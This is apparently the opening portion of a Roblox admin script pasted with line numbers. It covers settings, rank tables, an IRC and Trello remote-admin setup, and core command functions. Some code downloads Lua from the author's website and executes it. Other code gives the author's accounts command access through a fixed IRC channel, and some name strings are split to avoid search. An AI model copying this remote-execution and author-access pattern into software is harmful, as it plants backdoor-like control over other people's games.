· 6 years ago · May 01, 2019, 05:10 PM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15local Settings = {
16 Ranks = {
17 ["Owner"] = {"Admin_bloxie12"};
18 ["Admin"] = {};
19 ["Member"] = {};
20 ["Banned"] = {};
21 ["Crashed"] = {};
22 ["Muted"] = {};
23 };
24
25 Prefix = ";";
26 Bet = " ";
27 MinimumAge = 0;
28 ServerLocked = false;
29 ColorScheme = "White";
30 TransparencyScheme = 50;
31 Fun = true;
32 EnableAdminMenu = true;
33 EnableTaskBar = true;
34 FreeAdmin = false;
35 Font = "Arial";
36
37 DisableAbuse = false;
38 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
39 AbusableGear = {};
40
41 LinkedAccount = "";
42 DataKey = "";
43
44 ExecuteNotificationSound = 0; --177578949
45 EnableSounds = true;
46
47 VIPMemberID = 0;
48 VIPAdminID = 0;
49
50 GroupID = 0;
51 GroupBanRank = 0;
52 GroupMemberRank = 0;
53 GroupAdminRank = 0;
54 GroupOwnerRank = 0;
55 GroupRankBan = 0;
56 BannedGroupIDs = {};
57
58 IRCServer = "";
59 IRCChannel = "";
60 IRCCommandExecuters = {};
61
62 TrelloToken = ""
63}
64
65local Colors = {
66 ["WHITE"] = Color3.new(1,1,1);
67 ["BLACK"] = Color3.new(0,0,0);
68 ["GRAY"] = Color3.new(0.5,0.5,0.5);
69 ["RED"] = Color3.new(1,0,0);
70 ["GREEN"] = Color3.new(0,1,0);
71 ["BLUE"] = Color3.new(0,0,1);
72 ["YELLOW"] = Color3.new(1,1,0);
73 ["PINK"] = Color3.new(1,0,1);
74 ["MAGENTA"] = Color3.new(1,0,1);
75 ["CYAN"] = BrickColor.new("Cyan").Color;
76 ["TEAL"] = BrickColor.new("Teal").Color;
77 ["BROWN"] = Color3.new(0.55,0.25,0.075);
78 ["PURPLE"] = Color3.new(0.5,0,0.5);
79 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
80}
81
82local Server = {
83 Workspace = game:GetService("Workspace");
84 Players = game:GetService("Players");
85 Lighting = game:GetService("Lighting");
86 MPS = game:GetService("MarketplaceService");
87 TS = game:GetService("TeleportService");
88 HS = game:GetService("HttpService");
89 RS = game:GetService("RunService");
90 PS = game:GetService("PointsService");
91 TestS = game:GetService("TestService");
92 IS = game:GetService("InsertService");
93 Teams = game:GetService("Teams");
94 Data = game:GetService("DataStoreService");
95 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
96 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
97 Storage = game:GetService("ServerStorage");
98 RS = game:GetService("ReplicatedStorage");
99 AS = game:GetService("AssetService");
100}
101
102local Icons = {
103 ["Message"] = 7724351;
104 ["Error"] = 94011556;
105 ["Information"] = 144175130;
106 ["Check"] = 132769976;
107 ["Search"] = 61994930;
108 ["Time"] = 136391033;
109 ["Notice"] = 156507320;
110 ["Sound"] = 164682936;
111 ["Log"] = 70650545;
112 ["Question"] = 41363872;
113 ["Output"] = 11481605;
114 ["Admin"] = 302470270;
115 ["Lock"] = 11341626;
116 ["Settings"] = 131064748;
117 ["Map"] = 257119661;
118 ["Plugin"] = 257097414;
119}
120
121local IRC = {
122 Codes = {
123 ["001"] = "RPL_WELCOME",
124 ["002"] = "RPL_YOURHOST",
125 ["003"] = "RPL_CREATED",
126 ["004"] = "RPL_MYINFO",
127 ["005"] = "RPL_ISUPPORT",
128 ["250"] = "RPL_STATSCONN",
129 ["251"] = "RPL_LUSERCLIENT",
130 ["252"] = "RPL_LUSEROP",
131 ["254"] = "RPL_LUSERCHANNELS",
132 ["255"] = "RPL_LUSERME",
133 ["265"] = "RPL_LOCALUSERS",
134 ["266"] = "RPL_GLOBALUSERS",
135 ["352"] = "RPL_WHOREPLY",
136 ["371"] = "RPL_INFO",
137 ["372"] = "RPL_MOTD",
138 ["374"] = "RPL_ENDINFO",
139 ["375"] = "RPL_MOTDSTART",
140 ["376"] = "RPL_ENDOFMOTD",
141 ["422"] = "ERR_NOMOTD",
142 },
143 Ignore = {
144 ["004"] = true,
145 ["005"] = true,
146 };
147 Users = {};
148 Logs = {};
149 Chats = {};
150 Forms = {};
151 MessageAdded = Instance.new("BindableEvent");
152
153 Servers = {
154 ["esper.net"] = {
155 BaseUrl = "http://webchat.esper.net/";
156 DynamicUrl = "";
157 };
158 ["quakenet.org"] = {
159 BaseUrl = "http://webchat.quakenet.org/";
160 DynamicUrl = "dynamic/leibniz",
161 };
162 ["swiftirc.net"] = {
163 BaseUrl = "http://qwebirc.swiftirc.net/";
164 DynamicUrl = "",
165 };
166 };
167 NickName = "rbxMMLV3_"..math.random(1,100000);
168
169 SessionCounter = 0;
170 Connected = false;
171 Stop = false;
172 SessionID = "";
173}
174
175local RankHUD = {
176 ["Muted"] = 202180094;
177 ["Non-Admin"] = 202180121;
178 ["Member"] = 202180052;
179 ["Admin"] = 202180015;
180 ["Owner"] = 202179988;
181}
182
183local TextConverter = {
184 LetterSounds = {
185 ["a"] = {223757826, nil}; -- 203343899
186 ["b"] = {223533700, 0.2}; -- 203344029
187 ["c"] = {223533711, nil}; -- 203343994
188 ["d"] = {223757910, nil}; -- 203398237
189 ["e"] = {223758026, nil}; -- 203398295
190 ["f"] = {223777655, nil}; -- 203398347
191 ["g"] = {223777738, nil}; -- 203398372
192 ["h"] = {223777757, nil}; -- 203398397
193 ["i"] = {223777807, nil}; -- 203398422
194 ["j"] = {223782888, nil}; -- 203398450
195 ["k"] = {223533711, nil}; -- 203343994
196 ["l"] = {223782961, 0.4}; -- 203398541
197 ["m"] = {223782992, nil}; -- 203398578
198 ["n"] = {223783063, nil}; -- 203398599
199 ["o"] = {223783184, nil}; -- 203398611
200 ["p"] = {223783235, nil}; -- 203398727
201 ["q"] = {223783260, nil}; -- 203398755
202 ["r"] = {223783305, 0.2}; -- 203398792
203 ["s"] = {223783377, nil}; -- 203398806
204 ["t"] = {223783446, nil}; -- 203398850
205 ["u"] = {223783512, nil}; -- 203398872
206 ["v"] = {223783654, nil}; -- 203398965
207 ["w"] = {223783697, nil}; -- 203398984
208 ["x"] = {223783796, nil}; -- 203399008
209 ["y"] = {223783853, nil}; -- 203399043
210 ["z"] = {223783893, nil}; -- 203399096
211
212 ["ch"] = {223784367, 0.3}; -- 203592149
213 ["th"] = {223788235, 0.3}; -- 203399215
214 ["sh"] = {223784505, 0.2}; -- 203399566
215 ["wh"] = {223784555, 0.3}; -- 203622828
216 ["oo"] = {223784456, 0.3}; -- 203399743
217 ["ing"] = {223784393, 0.3}; -- 203402836
218 };
219
220 LongVowels = {
221 ["a"] = {223533687, nil}; -- 203343932
222 ["e"] = {223777620, nil}; -- 203398314
223 ["i"] = {223777855, nil}; -- 203398440
224 ["o"] = {223783212, nil}; -- 203398619
225 ["u"] = {223783572, nil}; -- 203398897
226 };
227
228 Pronounce = {
229 ["0"] = "zero";
230 ["1"] = "wun";
231 ["2"] = "too";
232 ["3"] = "three";
233 ["4"] = "four";
234 ["5"] = "five";
235 ["6"] = "six";
236 ["7"] = "seven";
237 ["8"] = "eyt";
238 ["9"] = "nine";
239 ["one"] = "wun";
240 ["two"] = "too";
241 ["eight"] = "eyt";
242 ["eigh"] = "ey";
243 ["gh"] = "h";
244 ["kn"] = "n";
245 ["come"] = "cu".."m";
246 ["bye"] = "bi";
247 ["#"] = "hashtag";
248 ["@"] = "at";
249 ["&"] = "and";
250 ["*"] = "astrict";
251 ["mn"] = "m";
252 ["kn"] = "n";
253 ["ies"] = "ees";
254 };
255
256 NonEnglishRules = {
257 ["to"] = "too";
258 ["you"] = "yoo";
259 ["we"] = "wee";
260 ["are"] = "erh";
261 ["your"] = "yoor";
262 ["you're"] = "yoor";
263 ["youre"] = "yoor";
264 ["pizza"] = "peetzoh";
265 ["ok"] = "okay";
266 ["have"] = "hav";
267 ["my"] = "mi";
268 ["me"] = "mee";
269 ["u"] = "yoo";
270 ["r"] = "erh";
271 ["move"] = "moov";
272 ["dove"] = "duv";
273 ["debris"] = "debree";
274 ["do"] = "doo";
275 }
276}
277
278local HTMLDecode = {
279 ["35"] = "#";
280 ["36"] = "$";
281 ["37"] = "%%";
282 ["38"] = "*";
283 ["39"] = "'";
284 ["58"] = ":";
285 ["59"] = ";";
286 ["60"] = "<";
287 ["62"] = ">";
288}
289
290
291local Assets = {
292 Packages = {
293 [27112438] = {27112025,27112039,27112052,27112056,27112068};
294 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
295 [77518833] = {77518564,77518616,77518654,77518696,77518737};
296 [32336368] = {32336059,32336117,32336182,32336243,32336306};
297 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
298 [54116460] = {54116290,54116338,54116373,54116394,54116432};
299 [39977366] = {39976703,39976829,39976927,39977192,39977295};
300 [32357766] = {32357663,32357631,32357619,32357584,32357558};
301 [27123973] = {27121265,27121306,27121353,27121393,27121432};
302 [55717536] = {55717271,55717330,55717388,55717434,55717491};
303 [28279963] = {28279160,28279217,28279859,28279894,28279938};
304 [27403592] = {27402580,27402546,27402641,27402714,27402742};
305 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
306 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
307 [48474394] = {48474356,48474294};
308 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
309 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
310 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
311 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
312 [33378577] = {33378366,33378438,33378484,33378522,33378540};
313 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
314 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
315 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
316 [41851073] = {41850825,41850868,41850915,41851009,41850959}
317 };
318 AssetTypes = {
319 [0] = "Product";
320 [1] = "Image";
321 [2] = "T-Shirt";
322 [3] = "Audio";
323 [4] = "Mesh";
324 [5] = "Lua";
325 [6] = "HTML";
326 [7] = "Text";
327 [8] = "Hat";
328 [9] = "Place";
329 [10] = "Model";
330 [11] = "Shirt";
331 [12] = "Pants";
332 [13] = "Decal";
333 [16] = "Avatar";
334 [17] = "Head";
335 [18] = "Face";
336 [19] = "Gear";
337 [21] = "Badge";
338 [22] = "Group Emblem";
339 [24] = "Animation";
340 [25] = "Arms";
341 [26] = "Legs";
342 [27] = "Torso";
343 [28] = "Right Arm";
344 [29] = "Left Arm";
345 [30] = "Left Leg";
346 [31] = "Right Leg";
347 [32] = "Package";
348 [33] = "YouTube Video";
349 [34] = "Game Pass";
350 [38] = "Plugin";
351 [39] = "SolidModel";
352 [40] = "MeshPart";
353 [41] = "Hair Accessory";
354 [42] = "Face Accessory";
355 [43] = "Neck Accessory";
356 [44] = "Shoulder Accessory";
357 [45] = "Front Accessory";
358 [46] = "Back Accessory";
359 };
360 AccessoryTypes = {
361 ["all"] = 19;
362 ["hats"] = 9;
363 ["hair"] = 20;
364 ["face"] = 21;
365 ["neck"] = 22;
366 ["shoulder"] = 23;
367 ["front"] = 24;
368 ["back"] = 25;
369 ["waist"] = 26;
370 };
371}
372
373local CharacterCache = {
374 {"MakerModelLua", 38837082};
375 {"LuaModelMaker", 20920633};
376 {"builderman", 156};
377 {"Shedletsky", 261};
378 {"Telamon", 13645};
379 {"ROBLOX", 1};
380}
381
382local FaceCovert = {
383 Left = "xpos";
384 Right = "xneg";
385 Front = "zpos";
386 Back = "zneg";
387 Top = "ypos";
388 Bottom = "yneg";
389}
390
391local Meshes = {
392 ["crown"] = {1, 1078075};
393 ["king"] = {1, 11419761};
394 ["teapot"] = {0.03, 1029523};
395 ["apple"] = {2.5, 16190555};
396 ["potato"] = {1, 25268275};
397 ["panda"] = {0.5, 20709221};
398 ["dominus"] = {0.5, 21057410};
399 ["fedora"] = {0.75, 13640868};
400 ["noob"] = {1, 20929341};
401 ["knife"] = {0.3, 121944778};
402 ["book"] = {0.3, 1136139};
403}
404
405local NotifySounds = {
406 ["Hover"] = 223134269;
407 ["Select"] = 292141227;
408}
409
410local Trello = {
411 TrelloInfoCard = "x1rUtwEj";
412 MainBoard = {};
413 RequiredLists = {};
414 RankChecklistCache = {};
415 ToggleChecklist = nil;
416 CommandID = nil;
417 LastCommandDT = 0;
418 AdminBoardID = "577ea1b21cb7975666524f26";
419 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
420 RemoteDataCard = "dLtMo1en"
421}
422
423local ScriptBuilders = {
424 [260897989] = "MML's";
425 [21053279] = "Anti's pub";
426 [21053219] = "Anti's pri";
427 [20279777] = "Void's 1";
428 [437965235] = "Void's 2";
429 [227015991] = "Vox's";
430 [210101277] = "Master's";
431 [531937877] = "Bleu pigs";
432 [519251450] = "Game's";
433}
434
435-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
436-- Why else would I NOT have put it in a module?!?!?
437
438local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
439
440local SoundList,GlobalSoundList = {},{}
441local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
442local TempChatLogs = {}
443local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
444local NoSpeak = false
445
446local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
447local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
448
449local ChatLogs,CommandLogs = {},{}
450local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
451local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
452local Dispose,Jails,PermCommandBars = {},{},{}
453local Waypoints = {["Center"] = Vector3.new(0,0,0)}
454local Objects = {}
455local Sound = nil
456local ModLighting = false
457local DataReady = true
458local RemoteAbuseGear = {}
459
460local GameOwner = "[ Client ]"
461local PlaceName = "Unknown"
462local PlaceInfo = {}
463local IsStudio = false
464local IsSB = false
465local Date = nil
466local Fonts = {}
467local PendingRequests = {}
468local F3X = script:FindFirstChild("F3X Tools")
469local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
470local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
471local KeyBinds = {}
472local Crowns = {}
473local LastKeys = {}
474local Cars = {}
475local StringReplacements = {}
476local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
477local NoBet = {"/", "-", "(", ")", ""}
478local ShouldFilter = true
479
480local CrownStorage = script:FindFirstChild("CrownStorage")
481if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
482
483-- import old settings just in case --
484local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
485if OldSettings then
486 OldSettings = require(OldSettings)
487
488 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
489 Settings[ValName] = OldSettings[ValName]
490 end
491 Settings.GroupBanRank = OldSettings.RankBan
492 Settings.Fun = OldSettings.FUN
493end
494
495if F3X then
496 F3X = F3X:Clone()
497 F3X.Handle.Anchored = false
498 script:FindFirstChild("F3X Tools"):Destroy()
499end
500
501wait(0.1)
502
503local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
504-- tries to defualt to server storage, just in case an exploiter makes their own settings.
505
506if SettingsValues then
507 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
508 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
509 for _,Value in pairs(SettingsValues:GetChildren()) do
510 if Settings[Value.Name] ~= nil then
511 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
512 for _,NewValue in pairs(Value:GetChildren()) do
513 if ypcall(function() return NewValue.Value end) then
514 if Settings[Value.Name][NewValue.Name] then
515 local Val = NewValue.Value
516 if type(Settings[Value.Name][NewValue.Name]) == "table" then
517 Val = {}
518 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
519 table.insert(Val, Word)
520 end
521 end
522 Settings[Value.Name][NewValue.Name] = Val
523 end
524 end
525 end
526 else
527 if Settings[Value.Name] ~= nil then
528 local Val = Value.Value
529 if type(Settings[Value.Name]) == "table" then
530 Val = {}
531 for Word in string.gmatch(Value.Value, "%w+") do
532 table.insert(Val, Word)
533 end
534 end
535 Settings[Value.Name] = Val
536 end
537 end
538 end
539 end
540 end
541end
542
543if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
544 Settings.LinkedAccount = ""
545elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
546 Settings.LinkedAccount = "Admin"
547end
548
549local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
550local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
551
552wait(1)
553
554local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
555
556if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
557
558if not IsStudio then
559 Server.NS = game:GetService("NetworkServer")
560 script.Name = "Maker".."Mo".."delLua's Admin"
561end
562
563if game.PlaceId > 0 then
564 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
565 PlaceName = PlaceInfo.Name
566end
567
568local function GetGameOwner()
569 if PlaceInfo.Creator.CreatorType == "Group" then
570 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
571 print("MML's Admin: Found group owner for game: "..GameOwner)
572 elseif PlaceInfo.Creator.CreatorType == "User" then
573 GameOwner = PlaceInfo.Creator.Name
574 print("MML's Admin: Found game owner: "..GameOwner)
575 else
576 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
577 end
578end
579
580if string.byte(string.sub(PlaceName,1,1)) == 226 then
581 PlaceName = string.sub(PlaceName,4,#PlaceName)
582end
583for i = 1,5 do
584 if GameOwner == "[ Client ]" then
585 print("MML's Admin: Attempting to establish owner's name #"..i)
586 GetGameOwner()
587 wait(1)
588 end
589end
590
591if ScriptBuilders[PlaceID] or NLS then
592 IsSB = true
593end
594
595if IsSB then
596 ShouldFilter = false
597 Settings.IRCServer = "swiftirc.net";
598 Settings.IRCChannel = "#PkamaraSB";
599 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
600 if Settings.TrelloToken == "" then
601 Settings.LinkedAccount = "ScriptBuilder"
602 end
603 if Settings.DataKey == "" then coroutine.wrap(function()
604 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
605 local Key = Server.Storage:FindFirstChild("MML DataKey")
606 print("Found key: "..Key.Value)
607 Settings.DataKey = Key.Value
608 Key:Destroy()
609 end)() end
610end
611local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
612table.insert(Settings.Ranks["Owner"], GameOwner)
613
614for _,Font in pairs(Enum.Font:GetEnumItems()) do
615 Fonts[Font.Name] = Font
616end
617
618local LogClient = script:FindFirstChild("AddClientInfo")
619if LogClient then LogClient:Destroy() end
620LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
621LogClient.OnServerInvoke = function(Player, Info)
622 if Info then
623 for Key,Data in pairs(Info) do
624 ClientInfo[Player.Name][Key] = Data
625 end
626 end
627end
628
629local function MakeFunction(Type, Name)
630 local Func = script:FindFirstChild(Name)
631 if Func then Func:Destroy() end
632 Func = Instance.new(Type, script) Func.Name = Name
633
634 getfenv()[Name] = Func
635 return Func
636end
637
638MakeFunction("BindableFunction", "ExecuteCommand")
639MakeFunction("RemoteFunction", "ExecuteCommandClient")
640MakeFunction("BindableFunction", "ExecuteCode")
641
642MakeFunction("RemoteFunction", "IsAdmin")
643MakeFunction("RemoteFunction", "AddExploit")
644MakeFunction("BindableFunction", "AddExploitServer")
645MakeFunction("RemoteFunction", "KickClient")
646MakeFunction("RemoteFunction", "ConvertTextToSound")
647
648MakeFunction("RemoteFunction", "KeyPressed")
649MakeFunction("RemoteFunction", "InputKey")
650
651MakeFunction("RemoteFunction", "RankPlayerLocal")
652MakeFunction("BindableFunction", "RankPlayerServer")
653
654--[[
655if NLS then
656 local Value = script:FindFirstChild("Override")
657 LogClient.Parent = game
658 if not Value then
659 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
660 local CloneScript = script:Clone()
661 CloneScript.Disabled = true
662 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
663 CloneScript.Disabled = false
664 CloneScript.Parent = nil
665
666 script:Destroy() script.Disabled = true
667 end
668end
669]]
670
671if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
672
673IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
674
675-- Core functions --
676
677function CORE:FixSettings()
678 for _,Bet in pairs(NoBet) do
679 if Settings.Bet == Bet then
680 Settings.Bet = " "
681 break
682 end
683 end
684 CORE:ChangeBet(Settings.Bet)
685
686 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
687 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
688
689 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
690 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
691 Settings.TransparencyScheme = Settings.TransparencyScheme/100
692
693 if not Fonts[Settings.Font] then
694 Settings.Font = "Arial"
695 end
696end
697
698function CORE:NilPlayer(Player)
699 if Player == nil or type(Player) == "table" then return true else return false end
700end
701
702function CORE:ExecuteResource(ResourceName, Parent, Data)
703 local ReturnScript = nil
704 local Executed = true
705 if script:FindFirstChild("Resources") then
706 local RawResource = script.Resources:FindFirstChild(ResourceName)
707 if RawResource then
708 local Resource = RawResource:Clone()
709 Resource.Disabled = true
710 Resource.Parent = Parent
711 if Data then
712 for Key,Value in pairs(Data) do
713 if Resource[Key] then
714 Resource[Key].Value = Value
715 end
716 end
717 end
718 wait()
719 Resource.Disabled = false
720 ReturnScript = Resource
721 else
722 Executed = false
723 end
724 else
725 Executed = false
726 end
727 if Executed == false then
728 if not Data then Data = {} end
729 local Source = ScriptCache[ResourceName]
730
731 if not Source then
732 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
733 if Source then
734 ScriptCache[ResourceName] = Source
735 end
736 end
737
738 if Data and Source then
739 for Key,Value in pairs(Data) do
740 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
741 end
742 end
743
744 if Source then
745 if NLS then
746 ReturnScript = NLS(Source, Parent)
747 elseif createLocalScriptWithSource then
748 ReturnScript = createLocalScriptWithSource(Source)
749 ReturnScript.Parent = Parent
750 end
751 end
752 end
753 return ReturnScript
754end
755
756function CORE:CreateRemotePropertyReader(Obj, Override)
757 if Server.Workspace.FilteringEnabled == true or Override then
758 local Reader = Instance.new("RemoteFunction", Obj)
759 Reader.Name = "RemotePropertyReader"
760 CORE:ExecuteResource("RemotePropertyReader", Reader)
761 return Reader
762 else
763 return Obj
764 end
765end
766
767function CORE:ReadProperty(Reader, Player, Property)
768 if Reader:IsA("RemoteFunction") then
769 return Reader:InvokeClient(Player, Property)
770 else
771 return Reader[Property]
772 end
773end
774
775function CORE:WriteProperty(Reader, Player, Property, Value)
776 if Reader:IsA("RemoteFunction") then
777 return Reader:InvokeClient(Player, Property, Value)
778 else
779 return Reader[Property]
780 end
781end
782
783
784function CORE:CreateRemoteEvent(Obj, EventName)
785 local Event = Instance.new("RemoteEvent", Obj)
786 Event.Name = "RemoteEvent_"..EventName
787 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
788 return Event
789end
790
791function CORE:HandleEvent(Obj, EventName, Func, NewThread)
792 local function Handle()
793 if Server.Workspace.FilteringEnabled == true then
794 local Event = CORE:CreateRemoteEvent(Obj, EventName)
795 return Event.OnServerEvent:connect(function(Player, ...)
796 Func(...)
797 end)
798 else
799 return Obj[EventName]:connect(Func)
800 end
801 end
802 if NewThread then
803 Spawn(Handle)
804 else
805 Handle()
806 end
807end
808
809function CORE:HandleError(Error, Speaker)
810 local Return = ""
811 if not Error or Error == "" then
812 Return = "Unknown Error"
813 else
814 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
815 end
816 if Speaker then
817 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
818 end
819 return Return
820end
821
822local function ExecuteSafe(Source, Speaker) -- no CORE
823 local Script, Error = loadstring(Source)
824 if Error then
825 return false, CORE:HandleError(Error, Speaker)
826 else
827 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
828 getfenv(Script).Server, getfenv(Script).script = Server,script
829 if Speaker then
830 getfenv(Script).print = function(...)
831 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
832 end
833 getfenv(Script).print_array = function(List)
834 if type(List) == "table" then
835 GUI:ListGui(Speaker, "Listed Table", List, "Output")
836 end
837 end
838 end
839
840 local Suc, Error = ypcall(coroutine.wrap(Script))
841
842 if not Suc then
843 Error = CORE:HandleError(Error, Speaker)
844 end
845
846 return Suc,Error
847 end
848end
849
850function CORE:GetTime(Regular, FullDate)
851 if Regular == nil then Regular = true end
852 local Meridiem = ""
853 if Regular == true then Meridiem = " AM" end
854 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
855 local Hour = math.floor(SecondsOfToday / (60*60))
856 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
857 local Second = math.floor(math.fmod(SecondsOfToday, 60))
858 if Hour > 12 and Regular == true then
859 Hour = Hour - 12
860 Meridiem = " PM"
861 end
862 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
863 if #Hour <= 1 then Hour = "0"..Hour end
864 if #Minute <= 1 then Minute = "0"..Minute end
865 if #Second <= 1 then Second = "0"..Second end
866 local Return = Hour..":"..Minute..":"..Second..Meridiem
867 if FullDate == true and Date then Return = Date.." "..Return end
868 return Return
869end
870
871function CORE:RemoveAdmin(Speaker)
872 local Answer = true -- false
873 if not CORE:NilPlayer(Speaker) then
874 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
875 end
876 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
877 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
878 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
879 for _,Item in pairs(Player:GetChildren()) do
880 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
881 Item:Destroy()
882 end
883 end
884 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
885 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
886 GUI:Destroy()
887 end
888 end
889 end end
890 for _,Car in pairs(Cars) do
891 Car:Destroy()
892 end
893 CORE:FixLighting()
894 while wait() do
895 if script:FindFirstChild("Override") then script.Override.Value = true end
896 Settings,CORE,IRC = nil,{},{}
897 if Sound then Sound:Stop() end
898 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
899 script:ClearAllChildren() script:Destroy() script.Disabled = true
900 end
901 end
902end
903
904function CORE:MakeBase()
905 for _,Get in pairs(Workspace:GetChildren()) do
906 if Get.Name == "Base" or Get.Name == "BasePlate" then
907 Get:Destroy()
908 end
909 end
910 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
911end
912
913function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
914 if IsAbusive == nil then IsAbusive = false end
915 if Commands[CommandName] then table.remove(Commands[CommandName]) end
916 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
917end
918
919function CORE:FixLighting() coroutine.wrap(function()
920 ModLighting = false
921 wait(0.2)
922 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
923 Server.Lighting.FogColor = Color3.new(0,0,0)
924 Server.Lighting.Brightness = 1
925 Server.Lighting.TimeOfDay = 14
926 Server.Lighting.FogEnd = 100000
927end)() end
928
929function CORE:Round(Number)
